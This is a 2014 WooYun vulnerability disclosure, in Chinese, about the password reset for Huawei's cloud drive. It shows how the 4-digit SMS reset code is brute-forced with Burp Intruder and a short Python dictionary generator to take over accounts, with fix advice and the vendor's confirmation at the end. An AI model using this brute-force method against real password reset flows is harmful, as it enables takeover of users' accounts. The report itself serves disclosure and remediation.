漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-054068
漏洞标题:华为网盘部分用户密码修改
相关厂商:华为技术有限公司
漏洞作者: lingfong
提交时间:2014-03-20 09:33
修复时间:2014-05-04 09:33
公开时间:2014-05-04 09:33
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-03-20: 细节已通知厂商并且等待厂商处理中
2014-03-20: 厂商已经确认,细节仅向厂商公开
2014-03-30: 细节向核心白帽子及相关领域专家公开
2014-04-09: 细节向普通白帽子公开
2014-04-19: 细节向实习白帽子公开
2014-05-04: 细节向公众公开
简要描述:
华为网盘部分用户密码修改
详细说明:
漏洞证明:
漏洞地址
http://dbank.vmall.com/netdisk/resetpassword.html?v=2.9.41372210600917#inputAccount
这个网页是用来找回密码的,输入目标用户名,然后找回方式选择“通过密保手机重置密码”
Burpsuite拦截数据包
GET请求中的r参数就是验证码,设置其为变量。
已知这个手机验证码是4位数字组合,写个python脚本生成个字典
f=open("dict.txt",'w+')
chars=[
'0','1','2','3','4','5','6','7','8','9',
# 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
# 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
]
base=len(chars) #62
end=len(chars)**4
for i in range(0,end):
n=i
ch0=chars[n%base]
n=n/base
ch1=chars[n%base]
n=n/base
ch2=chars[n%base]
n=n/base
ch3=chars[n%base]
print i,ch3,ch2,ch1,ch0
f.write(ch3+ch2+ch1+ch0+'\n')
f.close()
开启intruder,这里有10000个请求,几分钟搞定。
这里要注意的是返回的报文长度是不变的,变化的只是这个retcode,修改密码失败的返回0002,成功返回的是0000,这个不影响我们的攻击。
然后用新密码登陆吧。(如果此时本机不被华为网盘响应,请稍等一两分钟或者换台电脑)
修复方案:
这种找回密码的逻辑方便了用户,但是有安全隐患。建议:
1.验证码长一点,一般情况下验证码有6位;
2.当用户输入正确的验证码后再跳转到输入新密码页面,而且验证码只能是输入一次有效;
3.限制用户提交验证的次数或者一次输入错误后要求输入图片验证码。
版权声明:转载请注明来源 lingfong@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2014-03-20 11:07
厂商回复:
感谢白帽子提醒,产品奋力整改中。
最新状态:
暂无